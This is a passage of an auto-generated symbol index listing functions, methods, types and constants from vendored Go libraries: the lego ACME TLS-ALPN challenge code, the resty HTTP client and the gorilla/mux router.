  function ChallengeBlocks (line 75) | func ChallengeBlocks(domain, keyAuth string) ([]byte, []byte, error) {
  function ChallengeCert (line 117) | func ChallengeCert(domain, keyAuth string) (*tls.Certificate, error) {

FILE: vendor/github.com/go-acme/lego/v3/challenge/tlsalpn01/tls_alpn_challenge_server.go
  constant ACMETLS1Protocol (line 15) | ACMETLS1Protocol = "acme-tls/1"
  constant defaultTLSPort (line 19) | defaultTLSPort = "443"
  type ProviderServer (line 25) | type ProviderServer struct
    method GetAddress (line 38) | func (s *ProviderServer) GetAddress() string {
    method Present (line 44) | func (s *ProviderServer) Present(domain, token, keyAuth string) error {
    method CleanUp (line 84) | func (s *ProviderServer) CleanUp(domain, token, keyAuth string) error {
  function NewProviderServer (line 34) | func NewProviderServer(iface, port string) *ProviderServer {

FILE: vendor/github.com/go-acme/lego/v3/log/logger.go
  type StdLogger (line 12) | type StdLogger interface
  function Fatal (line 23) | func Fatal(args ...interface{}) {
  function Fatalf (line 29) | func Fatalf(format string, args ...interface{}) {
  function Print (line 35) | func Print(args ...interface{}) {
  function Println (line 41) | func Println(args ...interface{}) {
  function Printf (line 47) | func Printf(format string, args ...interface{}) {
  function Warnf (line 52) | func Warnf(format string, args ...interface{}) {
  function Infof (line 57) | func Infof(format string, args ...interface{}) {

FILE: vendor/github.com/go-resty/resty/v2/client.go
  constant MethodGet (line 30) | MethodGet = "GET"
  constant MethodPost (line 33) | MethodPost = "POST"
  constant MethodPut (line 36) | MethodPut = "PUT"
  constant MethodDelete (line 39) | MethodDelete = "DELETE"
  constant MethodPatch (line 42) | MethodPatch = "PATCH"
  constant MethodHead (line 45) | MethodHead = "HEAD"
  constant MethodOptions (line 48) | MethodOptions = "OPTIONS"
  type RequestMiddleware (line 74) | type RequestMiddleware
  type ResponseMiddleware (line 77) | type ResponseMiddleware
  type PreRequestHook (line 80) | type PreRequestHook
  type RequestLogCallback (line 83) | type RequestLogCallback
  type ResponseLogCallback (line 86) | type ResponseLogCallback
  type ErrorHook (line 89) | type ErrorHook
  type SuccessHook (line 92) | type SuccessHook
  type Client (line 100) | type Client struct
    method SetHostURL (line 177) | func (c *Client) SetHostURL(url string) *Client {
    method SetBaseURL (line 192) | func (c *Client) SetBaseURL(url string) *Client {
    method SetHeader (line 209) | func (c *Client) SetHeader(header, value string) *Client {
    method SetHeaders (line 226) | func (c *Client) SetHeaders(headers map[string]string) *Client {
    method SetHeaderVerbatim (line 244) | func (c *Client) SetHeaderVerbatim(header, value string) *Client {
    method SetCookieJar (line 255) | func (c *Client) SetCookieJar(jar http.CookieJar) *Client {
    method SetCookie (line 267) | func (c *Client) SetCookie(hc *http.Cookie) *Client {
    method SetCookies (line 288) | func (c *Client) SetCookies(cs []*http.Cookie) *Client {
    method SetQueryParam (line 305) | func (c *Client) SetQueryParam(param, value string) *Client {
    method SetQueryParams (line 323) | func (c *Client) SetQueryParams(params map[string]string) *Client {
    method SetFormData (line 341) | func (c *Client) SetFormData(data map[string]string) *Client {
    method SetBasicAuth (line 360) | func (c *Client) SetBasicAuth(username, password string) *Client {
    method SetAuthToken (line 378) | func (c *Client) SetAuthToken(token string) *Client {
    method SetAuthScheme (line 401) | func (c *Client) SetAuthScheme(scheme string) *Client {
    method SetDigestAuth (line 418) | func (c *Client) SetDigestAuth(username, password string) *Client {
    method R (line 435) | func (c *Client) R() *Request {
    method NewRequest (line 456) | func (c *Client) NewRequest() *Request {
    method OnBeforeRequest (line 470) | func (c *Client) OnBeforeRequest(m RequestMiddleware) *Client {
    method OnAfterResponse (line 489) | func (c *Client) OnAfterResponse(m ResponseMiddleware) *Client {
    method OnError (line 512) | func (c *Client) OnError(h ErrorHook) *Client {
    method OnSuccess (line 524) | func (c *Client) OnSuccess(h SuccessHook) *Client {
    method OnInvalid (line 536) | func (c *Client) OnInvalid(h ErrorHook) *Client {
    method OnPanic (line 550) | func (c *Client) OnPanic(h ErrorHook) *Client {
    method SetPreRequestHook (line 559) | func (c *Client) SetPreRequestHook(h PreRequestHook) *Client {
    method SetDebug (line 574) | func (c *Client) SetDebug(d bool) *Client {
    method SetDebugBodyLimit (line 582) | func (c *Client) SetDebugBodyLimit(sl int64) *Client {
    method OnRequestLog (line 589) | func (c *Client) OnRequestLog(rl RequestLogCallback) *Client {
    method OnResponseLog (line 600) | func (c *Client) OnResponseLog(rl ResponseLogCallback) *Client {
    method SetDisableWarn (line 614) | func (c *Client) SetDisableWarn(d bool) *Client {
    method SetAllowGetMethodPayload (line 624) | func (c *Client) SetAllowGetMethodPayload(a bool) *Client {
    method SetLogger (line 632) | func (c *Client) SetLogger(l Logger) *Client {
    method SetContentLength (line 643) | func (c *Client) SetContentLength(l bool) *Client {
    method SetTimeout (line 651) | func (c *Client) SetTimeout(timeout time.Duration) *Client {
    method SetError (line 663) | func (c *Client) SetError(err interface{}) *Client {
    method SetRedirectPolicy (line 675) | func (c *Client) SetRedirectPolicy(policies ...interface{}) *Client {
    method SetRetryCount (line 697) | func (c *Client) SetRetryCount(count int) *Client {
    method SetRetryWaitTime (line 706) | func (c *Client) SetRetryWaitTime(waitTime time.Duration) *Client {
    method SetRetryMaxWaitTime (line 715) | func (c *Client) SetRetryMaxWaitTime(maxWaitTime time.Duration) *Client {
    method SetRetryAfter (line 722) | func (c *Client) SetRetryAfter(callback RetryAfterFunc) *Client {
    method SetJSONMarshaler (line 731) | func (c *Client) SetJSONMarshaler(marshaler func(v interface{}) ([]byt...
    method SetJSONUnmarshaler (line 740) | func (c *Client) SetJSONUnmarshaler(unmarshaler func(data []byte, v in...
    method SetXMLMarshaler (line 749) | func (c *Client) SetXMLMarshaler(marshaler func(v interface{}) ([]byte...
    method SetXMLUnmarshaler (line 758) | func (c *Client) SetXMLUnmarshaler(unmarshaler func(data []byte, v int...
    method AddRetryCondition (line 769) | func (c *Client) AddRetryCondition(condition RetryConditionFunc) *Clie...
    method AddRetryAfterErrorCondition (line 778) | func (c *Client) AddRetryAfterErrorCondition() *Client {
    method AddRetryHook (line 789) | func (c *Client) AddRetryHook(hook OnRetryFunc) *Client {
    method SetRetryResetReaders (line 798) | func (c *Client) SetRetryResetReaders(b bool) *Client {
    method SetTLSClientConfig (line 814) | func (c *Client) SetTLSClientConfig(config *tls.Config) *Client {
    method SetProxy (line 831) | func (c *Client) SetProxy(proxyURL string) *Client {
    method RemoveProxy (line 852) | func (c *Client) RemoveProxy() *Client {
    method SetCertificates (line 864) | func (c *Client) SetCertificates(certs ...tls.Certificate) *Client {
    method SetRootCertificate (line 877) | func (c *Client) SetRootCertificate(pemFilePath string) *Client {
    method SetRootCertificateFromString (line 900) | func (c *Client) SetRootCertificateFromString(pemContent string) *Clie...
    method SetOutputDirectory (line 919) | func (c *Client) SetOutputDirectory(dirPath string) *Client {
    method SetRateLimiter (line 928) | func (c *Client) SetRateLimiter(rl RateLimiter) *Client {
    method SetTransport (line 951) | func (c *Client) SetTransport(transport http.RoundTripper) *Client {
    method SetScheme (line 961) | func (c *Client) SetScheme(scheme string) *Client {
    method SetCloseConnection (line 970) | func (c *Client) SetCloseConnection(close bool) *Client {
    method SetDoNotParseResponse (line 981) | func (c *Client) SetDoNotParseResponse(parse bool) *Client {
    method SetPathParam (line 1000) | func (c *Client) SetPathParam(param, value string) *Client {
    method SetPathParams (line 1023) | func (c *Client) SetPathParams(params map[string]string) *Client {
    method SetRawPathParam (line 1052) | func (c *Client) SetRawPathParam(param, value string) *Client {
    method SetRawPathParams (line 1077) | func (c *Client) SetRawPathParams(params map[string]string) *Client {
    method SetJSONEscapeHTML (line 1087) | func (c *Client) SetJSONEscapeHTML(b bool) *Client {
    method EnableTrace (line 1104) | func (c *Client) EnableTrace() *Client {
    method DisableTrace (line 1112) | func (c *Client) DisableTrace() *Client {
    method IsProxySet (line 1119) | func (c *Client) IsProxySet() bool {
    method GetClient (line 1124) | func (c *Client) GetClient() *http.Client {
    method Clone (line 1137) | func (c *Client) Clone() *Client {
    method execute (line 1153) | func (c *Client) execute(req *Request) (*Response, error) {
    method tlsConfig (line 1255) | func (c *Client) tlsConfig() (*tls.Config, error) {
    method Transport (line 1270) | func (c *Client) Transport() (*http.Transport, error) {
    method outputLogTo (line 1278) | func (c *Client) outputLogTo(w io.Writer) *Client {
    method onErrorHooks (line 1301) | func (c *Client) onErrorHooks(req *Request, resp *Response, err error) {
    method onPanicHooks (line 1317) | func (c *Client) onPanicHooks(req *Request, err error) {
    method onInvalidHooks (line 1324) | func (c *Client) onInvalidHooks(req *Request, err error) {
  type User (line 159) | type User struct
  type ResponseError (line 1285) | type ResponseError struct
    method Error (line 1290) | func (e *ResponseError) Error() string {
    method Unwrap (line 1294) | func (e *ResponseError) Unwrap() error {
  type File (line 1335) | type File struct
    method String (line 1342) | func (f *File) String() string {
  type MultipartField (line 1351) | type MultipartField struct
  function createClient (line 1362) | func createClient(hc *http.Client) *Client {

FILE: vendor/github.com/go-resty/resty/v2/digest.go
  type digestCredentials (line 40) | type digestCredentials struct
  type digestTransport (line 44) | type digestTransport struct
    method RoundTrip (line 49) | func (dt *digestTransport) RoundTrip(req *http.Request) (*http.Respons...
    method newCredentials (line 100) | func (dt *digestTransport) newCredentials(req *http.Request, c *challe...
  type challenge (line 117) | type challenge struct
  function parseChallenge (line 128) | func parseChallenge(input string) (*challenge, error) {
  type credentials (line 175) | type credentials struct
    method authorize (line 191) | func (c *credentials) authorize() (string, error) {
    method validateQop (line 229) | func (c *credentials) validateQop() error {
    method h (line 253) | func (c *credentials) h(data string) string {
    method resp (line 260) | func (c *credentials) resp() (string, error) {
    method kd (line 277) | func (c *credentials) kd(secret, data string) string {
    method ha1 (line 282) | func (c *credentials) ha1() string {
    method ha2 (line 292) | func (c *credentials) ha2() string {

FILE: vendor/github.com/go-resty/resty/v2/middleware.go
  constant debugRequestLogKey (line 23) | debugRequestLogKey = "__restyDebugRequestLog"
  function parseRequestURL (line 29) | func parseRequestURL(c *Client, r *Request) error {
  function parseRequestHeader (line 162) | func parseRequestHeader(c *Client, r *Request) error {
  function parseRequestBody (line 181) | func parseRequestBody(c *Client, r *Request) error {
  function createHTTPRequest (line 211) | func createHTTPRequest(c *Client, r *Request) (err error) {
  function addCredentials (line 273) | func addCredentials(c *Client, r *Request) error {
  function requestLogger (line 310) | func requestLogger(c *Client, r *Request) error {
  function responseLogger (line 350) | func responseLogger(c *Client, res *Response) error {
  function parseResponseBody (line 380) | func parseResponseBody(c *Client, res *Response) (err error) {
  function handleMultipart (line 416) | func handleMultipart(c *Client, r *Request) error {
  function handleFormData (line 460) | func handleFormData(c *Client, r *Request) {
  function handleContentType (line 474) | func handleContentType(c *Client, r *Request) {
  function handleRequestBody (line 482) | func handleRequestBody(c *Client, r *Request) error {
  function saveResponseIntoFile (line 529) | func saveResponseIntoFile(c *Client, res *Response) error {
  function getBodyCopy (line 562) | func getBodyCopy(r *Request) (*bytes.Buffer, error) {

FILE: vendor/github.com/go-resty/resty/v2/redirect.go
  type RedirectPolicy (line 26) | type RedirectPolicy interface
  type RedirectPolicyFunc (line 32) | type RedirectPolicyFunc
    method Apply (line 36) | func (f RedirectPolicyFunc) Apply(req *http.Request, via []*http.Reque...
  function NoRedirectPolicy (line 43) | func NoRedirectPolicy() RedirectPolicy {
  function FlexibleRedirectPolicy (line 52) | func FlexibleRedirectPolicy(noOfRedirect int) RedirectPolicy {
  function DomainCheckRedirectPolicy (line 66) | func DomainCheckRedirectPolicy(hostnames ...string) RedirectPolicy {
  function getHostname (line 87) | func getHostname(host string) (hostname string) {
  function checkHostAndAddHeaders (line 99) | func checkHostAndAddHeaders(cur *http.Request, pre *http.Request) {

FILE: vendor/github.com/go-resty/resty/v2/request.go
  type Request (line 29) | type Request struct
    method Context (line 78) | func (r *Request) Context() context.Context {
    method SetContext (line 89) | func (r *Request) SetContext(ctx context.Context) *Request {
    method SetHeader (line 103) | func (r *Request) SetHeader(header, value string) *Request {
    method SetHeaders (line 119) | func (r *Request) SetHeaders(headers map[string]string) *Request {
    method SetHeaderMultiValues (line 136) | func (r *Request) SetHeaderMultiValues(headers map[string][]string) *R...
    method SetHeaderVerbatim (line 154) | func (r *Request) SetHeaderVerbatim(header, value string) *Request {
    method SetQueryParam (line 169) | func (r *Request) SetQueryParam(param, value string) *Request {
    method SetQueryParams (line 186) | func (r *Request) SetQueryParams(params map[string]string) *Request {
    method SetQueryParamsFromValues (line 205) | func (r *Request) SetQueryParamsFromValues(params url.Values) *Request {
    method SetQueryString (line 220) | func (r *Request) SetQueryString(query string) *Request {
    method SetFormData (line 245) | func (r *Request) SetFormData(data map[string]string) *Request {
    method SetFormDataFromValues (line 261) | func (r *Request) SetFormDataFromValues(data url.Values) *Request {
    method SetBody (line 312) | func (r *Request) SetBody(body interface{}) *Request {
    method SetResult (line 329) | func (r *Request) SetResult(res interface{}) *Request {
    method SetError (line 348) | func (r *Request) SetError(err interface{}) *Request {
    method SetFile (line 357) | func (r *Request) SetFile(param, filePath string) *Request {
    method SetFiles (line 371) | func (r *Request) SetFiles(files map[string]string) *Request {
    method SetFileReader (line 384) | func (r *Request) SetFileReader(param, fileName string, reader io.Read...
    method SetMultipartFormData (line 395) | func (r *Request) SetMultipartFormData(data map[string]string) *Request {
    method SetMultipartField (line 404) | func (r *Request) SetMultipartField(param, fileName, contentType strin...
    method SetMultipartFields (line 436) | func (r *Request) SetMultipartFields(fields ...*MultipartField) *Reque...
    method SetContentLength (line 449) | func (r *Request) SetContentLength(l bool) *Request {
    method SetBasicAuth (line 465) | func (r *Request) SetBasicAuth(username, password string) *Request {
    method SetAuthToken (line 479) | func (r *Request) SetAuthToken(token string) *Request {
    method SetAuthScheme (line 502) | func (r *Request) SetAuthScheme(scheme string) *Request {
    method SetDigestAuth (line 519) | func (r *Request) SetDigestAuth(username, password string) *Request {
    method SetOutput (line 546) | func (r *Request) SetOutput(file string) *Request {
    method SetSRV (line 558) | func (r *Request) SetSRV(srv *SRVRecord) *Request {
    method SetDoNotParseResponse (line 569) | func (r *Request) SetDoNotParseResponse(parse bool) *Request {
    method SetPathParam (line 594) | func (r *Request) SetPathParam(param, value string) *Request {
    method SetPathParams (line 617) | func (r *Request) SetPathParams(params map[string]string) *Request {
    method SetRawPathParam (line 646) | func (r *Request) SetRawPathParam(param, value string) *Request {
    method SetRawPathParams (line 671) | func (r *Request) SetRawPathParams(params map[string]string) *Request {
    method ExpectContentType (line 680) | func (r *Request) ExpectContentType(contentType string) *Request {
    method ForceContentType (line 688) | func (r *Request) ForceContentType(contentType string) *Request {
    method SetJSONEscapeHTML (line 696) | func (r *Request) SetJSONEscapeHTML(b bool) *Request {
    method SetCookie (line 711) | func (r *Request) SetCookie(hc *http.Cookie) *Request {
    method SetCookies (line 735) | func (r *Request) SetCookies(rs []*http.Cookie) *Request {
    method SetLogger (line 744) | func (r *Request) SetLogger(l Logger) *Request {
    method SetDebug (line 755) | func (r *Request) SetDebug(d bool) *Request {
    method AddRetryCondition (line 767) | func (r *Request) AddRetryCondition(condition RetryConditionFunc) *Req...
    method EnableTrace (line 788) | func (r *Request) EnableTrace() *Request {
    method TraceInfo (line 798) | func (r *Request) TraceInfo() TraceInfo {
    method Get (line 851) | func (r *Request) Get(url string) (*Response, error) {
    method Head (line 856) | func (r *Request) Head(url string) (*Response, error) {
    method Post (line 861) | func (r *Request) Post(url string) (*Response, error) {
    method Put (line 866) | func (r *Request) Put(url string) (*Response, error) {
    method Delete (line 871) | func (r *Request) Delete(url string) (*Response, error) {
    method Options (line 876) | func (r *Request) Options(url string) (*Response, error) {
    method Patch (line 881) | func (r *Request) Patch(url string) (*Response, error) {
    method Send (line 892) | func (r *Request) Send() (*Response, error) {
    method Execute (line 900) | func (r *Request) Execute(method, url string) (*Response, error) {
    method fmtBodyString (line 985) | func (r *Request) fmtBodyString(sl int64) (body string) {
    method selectAddr (line 1055) | func (r *Request) selectAddr(addrs []*net.SRV, path string, attempt in...
    method initValuesMap (line 1067) | func (r *Request) initValuesMap() {
  type SRVRecord (line 976) | type SRVRecord struct

FILE: vendor/github.com/go-resty/resty/v2/response.go
  type Response (line 21) | type Response struct
    method Body (line 33) | func (r *Response) Body() []byte {
    method SetBody (line 47) | func (r *Response) SetBody(b []byte) *Response {
    method Status (line 55) | func (r *Response) Status() string {
    method StatusCode (line 65) | func (r *Response) StatusCode() int {
    method Proto (line 73) | func (r *Response) Proto() string {
    method Result (line 81) | func (r *Response) Result() interface{} {
    method Error (line 86) | func (r *Response) Error() interface{} {
    method Header (line 91) | func (r *Response) Header() http.Header {
    method Cookies (line 99) | func (r *Response) Cookies() []*http.Cookie {
    method String (line 107) | func (r *Response) String() string {
    method Time (line 118) | func (r *Response) Time() time.Duration {
    method ReceivedAt (line 126) | func (r *Response) ReceivedAt() time.Time {
    method Size (line 133) | func (r *Response) Size() int64 {
    method RawBody (line 142) | func (r *Response) RawBody() io.ReadCloser {
    method IsSuccess (line 150) | func (r *Response) IsSuccess() bool {
    method IsError (line 155) | func (r *Response) IsError() bool {
    method setReceivedAt (line 163) | func (r *Response) setReceivedAt() {
    method fmtBodyString (line 170) | func (r *Response) fmtBodyString(sl int64) string {

FILE: vendor/github.com/go-resty/resty/v2/resty.go
  constant Version (line 17) | Version = "2.12.0"
  function New (line 20) | func New() *Client {
  function NewWithClient (line 28) | func NewWithClient(hc *http.Client) *Client {
  function NewWithLocalAddr (line 34) | func NewWithLocalAddr(localAddr net.Addr) *Client {

FILE: vendor/github.com/go-resty/resty/v2/retry.go
  constant defaultMaxRetries (line 17) | defaultMaxRetries  = 3
  constant defaultWaitTime (line 18) | defaultWaitTime    = time.Duration(100) * time.Millisecond
  constant defaultMaxWaitTime (line 19) | defaultMaxWaitTime = time.Duration(2000) * time.Millisecond
  type Option (line 24) | type Option
  type RetryConditionFunc (line 28) | type RetryConditionFunc
  type OnRetryFunc (line 31) | type OnRetryFunc
  type RetryAfterFunc (line 38) | type RetryAfterFunc
  type Options (line 41) | type Options struct
  function Retries (line 52) | func Retries(value int) Option {
  function WaitTime (line 59) | func WaitTime(value time.Duration) Option {
  function MaxWaitTime (line 66) | func MaxWaitTime(value time.Duration) Option {
  function RetryConditions (line 73) | func RetryConditions(conditions []RetryConditionFunc) Option {
  function RetryHooks (line 80) | func RetryHooks(hooks []OnRetryFunc) Option {
  function ResetMultipartReaders (line 88) | func ResetMultipartReaders(value bool) Option {
  function Backoff (line 96) | func Backoff(operation func() (*Response, error), options ...Option) err...
  function sleepDuration (line 172) | func sleepDuration(resp *Response, min, max time.Duration, attempt int) ...
  function jitterBackoff (line 206) | func jitterBackoff(min, max time.Duration, attempt int) time.Duration {
  function randDuration (line 227) | func randDuration(center time.Duration) time.Duration {
  function newRnd (line 236) | func newRnd() *rand.Rand {
  function resetFileReaders (line 242) | func resetFileReaders(files []*File) error {

FILE: vendor/github.com/go-resty/resty/v2/trace.go
  type TraceInfo (line 23) | type TraceInfo struct
  type clientTrace (line 74) | type clientTrace struct
    method createContext (line 91) | func (t *clientTrace) createContext(ctx context.Context) context.Conte...

FILE: vendor/github.com/go-resty/resty/v2/transport.go
  function createTransport (line 17) | func createTransport(localAddr net.Addr) *http.Transport {

FILE: vendor/github.com/go-resty/resty/v2/transport112.go
  function createTransport (line 17) | func createTransport(localAddr net.Addr) *http.Transport {

FILE: vendor/github.com/go-resty/resty/v2/transport_js.go
  function transportDialContext (line 15) | func transportDialContext(dialer *net.Dialer) func(context.Context, stri...

FILE: vendor/github.com/go-resty/resty/v2/transport_other.go
  function transportDialContext (line 15) | func transportDialContext(dialer *net.Dialer) func(context.Context, stri...

FILE: vendor/github.com/go-resty/resty/v2/util.go
  type Logger (line 31) | type Logger interface
  function createLogger (line 37) | func createLogger() *logger {
  type logger (line 44) | type logger struct
    method Errorf (line 48) | func (l *logger) Errorf(format string, v ...interface{}) {
    method Warnf (line 52) | func (l *logger) Warnf(format string, v ...interface{}) {
    method Debugf (line 56) | func (l *logger) Debugf(format string, v ...interface{}) {
    method output (line 60) | func (l *logger) output(format string, v ...interface{}) {
  type RateLimiter (line 72) | type RateLimiter interface
  function IsStringEmpty (line 83) | func IsStringEmpty(str string) bool {
  function DetectContentType (line 88) | func DetectContentType(body interface{}) string {
  function IsJSONType (line 108) | func IsJSONType(ct string) bool {
  function IsXMLType (line 113) | func IsXMLType(ct string) bool {
  function Unmarshalc (line 118) | func Unmarshalc(c *Client, ct string, b []byte, d interface{}) (err erro...
  type RequestLog (line 135) | type RequestLog struct
  type ResponseLog (line 143) | type ResponseLog struct
  function jsonMarshal (line 153) | func jsonMarshal(c *Client, r *Request, d interface{}) (*bytes.Buffer, e...
  function firstNonEmpty (line 168) | func firstNonEmpty(v ...string) string {
  function escapeQuotes (line 179) | func escapeQuotes(s string) string {
  function createMultipartHeader (line 183) | func createMultipartHeader(param, fileName, contentType string) textprot...
  function addMultipartFormField (line 201) | func addMultipartFormField(w *multipart.Writer, mf *MultipartField) error {
  function writeMultipartFormFile (line 211) | func writeMultipartFormFile(w *multipart.Writer, fieldName, fileName str...
  function addFile (line 232) | func addFile(w *multipart.Writer, fieldName, path string) error {
  function addFileReader (line 241) | func addFileReader(w *multipart.Writer, f *File) error {
  function getPointer (line 245) | func getPointer(v interface{}) interface{} {
  function isPayloadSupported (line 253) | func isPayloadSupported(m string, allowMethodGet bool) bool {
  function typeOf (line 257) | func typeOf(i interface{}) reflect.Type {
  function valueOf (line 261) | func valueOf(i interface{}) reflect.Value {
  function indirect (line 265) | func indirect(v reflect.Value) reflect.Value {
  function kindOf (line 269) | func kindOf(v interface{}) reflect.Kind {
  function createDirectory (line 273) | func createDirectory(dir string) (err error) {
  function canJSONMarshal (line 284) | func canJSONMarshal(contentType string, kind reflect.Kind) bool {
  function functionName (line 288) | func functionName(i interface{}) string {
  function acquireBuffer (line 292) | func acquireBuffer() *bytes.Buffer {
  function releaseBuffer (line 296) | func releaseBuffer(buf *bytes.Buffer) {
  type requestBodyReleaser (line 305) | type requestBodyReleaser struct
    method Close (line 322) | func (rr *requestBodyReleaser) Close() error {
  function newRequestBodyReleaser (line 311) | func newRequestBodyReleaser(respBody io.ReadCloser, reqBuf *bytes.Buffer...
  function closeq (line 331) | func closeq(v interface{}) {
  function silently (line 337) | func silently(_ ...interface{}) {}
  function composeHeaders (line 339) | func composeHeaders(c *Client, r *Request, hdrs http.Header) string {
  function sortHeaderKeys (line 347) | func sortHeaderKeys(hdrs http.Header) []string {
  function copyHeaders (line 356) | func copyHeaders(hdrs http.Header) http.Header {
  type noRetryErr (line 364) | type noRetryErr struct
    method Error (line 368) | func (e *noRetryErr) Error() string {
  function wrapNoRetryErr (line 372) | func wrapNoRetryErr(err error) error {
  function unwrapNoRetryErr (line 379) | func unwrapNoRetryErr(err error) error {

FILE: vendor/github.com/gorilla/mux/context.go
  function contextGet (line 8) | func contextGet(r *http.Request, key interface{}) interface{} {
  function contextSet (line 12) | func contextSet(r *http.Request, key, val interface{}) *http.Request {

FILE: vendor/github.com/gorilla/mux/middleware.go
  type MiddlewareFunc (line 11) | type MiddlewareFunc
    method Middleware (line 19) | func (mw MiddlewareFunc) Middleware(handler http.Handler) http.Handler {
  type middleware (line 14) | type middleware interface
  method Use (line 24) | func (r *Router) Use(mwf ...MiddlewareFunc) {
  method useInterface (line 31) | func (r *Router) useInterface(mw middleware) {
  function CORSMethodMiddleware (line 39) | func CORSMethodMiddleware(r *Router) MiddlewareFunc {
  function getAllMethodsForRoute (line 58) | func getAllMethodsForRoute(r *Router, req *http.Request) ([]string, erro...

FILE: vendor/github.com/gorilla/mux/mux.go
  function NewRouter (line 24) | func NewRouter() *Router {
  type Router (line 46) | type Router struct
    method Match (line 138) | func (r *Router) Match(req *http.Request, match *RouteMatch) bool {
    method ServeHTTP (line 175) | func (r *Router) ServeHTTP(w http.ResponseWriter, req *http.Request) {
    method Get (line 216) | func (r *Router) Get(name string) *Route {
    method GetRoute (line 222) | func (r *Router) GetRoute(name string) *Route {
    method StrictSlash (line 245) | func (r *Router) StrictSlash(value bool) *Router {
    method SkipClean (line 258) | func (r *Router) SkipClean(value bool) *Router {
    method UseEncodedPath (line 269) | func (r *Router) UseEncodedPath() *Router {
    method NewRoute (line 279) | func (r *Router) NewRoute() *Route {
    method Name (line 288) | func (r *Router) Name(name string) *Route {
    method Handle (line 294) | func (r *Router) Handle(path string, handler http.Handler) *Route {
    method HandleFunc (line 300) | func (r *Router) HandleFunc(path string, f func(http.ResponseWriter,
    method Headers (line 307) | func (r *Router) Headers(pairs ...string) *Route {
    method Host (line 313) | func (r *Router) Host(tpl string) *Route {
    method MatcherFunc (line 319) | func (r *Router) MatcherFunc(f MatcherFunc) *Route {
    method Methods (line 325) | func (r *Router) Methods(methods ...string) *Route {
    method Path (line 331) | func (r *Router) Path(tpl string) *Route {
    method PathPrefix (line 337) | func (r *Router) PathPrefix(tpl string) *Route {
    method Queries (line 343) | func (r *Router) Queries(pairs ...string) *Route {
    method Schemes (line 349) | func (r *Router) Schemes(schemes ...string) *Route {
    method BuildVarsFunc (line 355) | func (r *Router) BuildVarsFunc(f BuildVarsFunc) *Route {
    method Walk (line 362) | func (r *Router) Walk(walkFn WalkFunc) error {
    method walk (line 375) | func (r *Router) walk(walkFn WalkFunc, ancestors []*Route) error {
  type routeConf (line 73) | type routeConf struct
  function copyRouteConf (line 98) | func copyRouteConf(r routeConf) routeConf {
  function copyRouteRegexp (line 122) | func copyRouteRegexp(r *routeRegexp) *routeRegexp {
  type WalkFunc (line 373) | type WalkFunc
  type RouteMatch (line 411) | type RouteMatch struct
  type contextKey (line 422) | type contextKey
  constant varsKey (line 425) | varsKey contextKey = iota
  constant routeKey (line 426) | routeKey
  function Vars (line 430) | func Vars(r *http.Request) map[string]string {
  function CurrentRoute (line 442) | func CurrentRoute(r *http.Request) *Route {
  function setVars (line 449) | func setVars(r *http.Request, val interface{}) *http.Request {
  function setCurrentRoute (line 453) | func setCurrentRoute(r *http.Request, val interface{}) *http.Request {
  function cleanPath (line 463) | func cleanPath(p string) string {
  function uniqueVars (line 481) | func uniqueVars(s1, s2 []string) error {
  function checkPairs (line 494) | func checkPairs(pairs ...string) (int, error) {
  function mapFromPairsToString (line 505) | func mapFromPairsToString(pairs ...string) (map[string]string, error) {
  function mapFromPairsToRegex (line 519) | func mapFromPairsToRegex(pairs ...string) (map[string]*regexp.Regexp, er...
  function matchInArray (line 536) | func matchInArray(arr []string, value string) bool {
  function matchMapWithString (line 546) | func matchMapWithString(toCheck map[string]string, toMatch map[string][]...
  function matchMapWithRegex (line 574) | func matchMapWithRegex(toCheck map[string]*regexp.Regexp, toMatch map[st...
  function methodNotAllowed (line 601) | func methodNotAllowed(w http.ResponseWriter, r *http.Request) {
  function methodNotAllowedHandler (line 607) | func methodNotAllowedHandler() http.Handler { return http.HandlerFunc(me...

FILE: vendor/github.com/gorilla/mux/regexp.go
  type routeRegexpOptions (line 17) | type routeRegexpOptions struct
  type regexpType (line 22) | type regexpType
  constant regexpTypePath (line 25) | regexpTypePath   regexpType = 0
  constant regexpTypeHost (line 26) | regexpTypeHost   regexpType = 1
  constant regexpTypePrefix (line 27) | regexpTypePrefix regexpType = 2
  constant regexpTypeQuery (line 28) | regexpTypeQuery  regexpType = 3
  function newRouteRegexp (line 41) | func newRouteRegexp(tpl string, typ regexpType, options routeRegexpOptio...
  type routeRegexp (line 154) | type routeRegexp struct
    method Match (line 174) | func (r *routeRegexp) Match(req *http.Request, match *RouteMatch) bool {
    method url (line 197) | func (r *routeRegexp) url(values map[string]string) (string, error) {
    method getURLQuery (line 228) | func (r *routeRegexp) getURLQuery(req *http.Request) string {
    method matchQueryString (line 241) | func (r *routeRegexp) matchQueryString(req *http.Request) bool {
  function braceIndices (line 247) | func braceIndices(s string) ([]int, error) {
  function varGroupName (line 271) | func varGroupName(idx int) string {
  type routeRegexpGroup (line 280) | type routeRegexpGroup struct
    method setMatch (line 287) | func (v routeRegexpGroup) setMatch(req *http.Request, m *RouteMatch, r...
  function getHost (line 334) | func getHost(r *http.Request) string {
  function extractVars (line 341) | func extractVars(input string, matches []int, names []string, output map...

FILE: vendor/github.com/gorilla/mux/route.go
  type Route (line 17) | type Route struct
    method SkipClean (line 36) | func (r *Route) SkipClean() bool {
    method Match (line 41) | func (r *Route) Match(req *http.Request, match *RouteMatch) bool {
    method GetError (line 105) | func (r *Route) GetError() error {
    method BuildOnly (line 110) | func (r *Route) BuildOnly() *Route {
    method Handler (line 118) | func (r *Route) Handler(handler http.Handler) *Route {
    method HandlerFunc (line 126) | func (r *Route) HandlerFunc(f func(http.ResponseWriter, *http.Request)...
    method GetHandler (line 131) | func (r *Route) GetHandler() http.Handler {
    method Name (line 139) | func (r *Route) Name(name string) *Route {
    method GetName (line 152) | func (r *Route) GetName() string {
    method addMatcher (line 166) | func (r *Route) addMatcher(m matcher) *Route {
    method addRegexpMatcher (line 174) | func (r *Route) addRegexpMatcher(tpl string, typ regexpType) error {
    method Headers (line 239) | func (r *Route) Headers(pairs ...string) *Route {
    method HeadersRegexp (line 265) | func (r *Route) HeadersRegexp(pairs ...string) *Route {
    method Host (line 293) | func (r *Route) Host(tpl string) *Route {
    method MatcherFunc (line 309) | func (r *Route) MatcherFunc(f MatcherFunc) *Route {
    method Methods (line 325) | func (r *Route) Methods(methods ...string) *Route {
    method Path (line 353) | func (r *Route) Path(tpl string) *Route {
    method PathPrefix (line 369) | func (r *Route) PathPrefix(tpl string) *Route {
    method Queries (line 393) | func (r *Route) Queries(pairs ...string) *Route {
    method Schemes (line 420) | func (r *Route) Schemes(schemes ...string) *Route {
    method BuildVarsFunc (line 438) | func (r *Route) BuildVarsFunc(f BuildVarsFunc) *Route {
    method Subrouter (line 465) | func (r *Route) Subrouter() *Router {
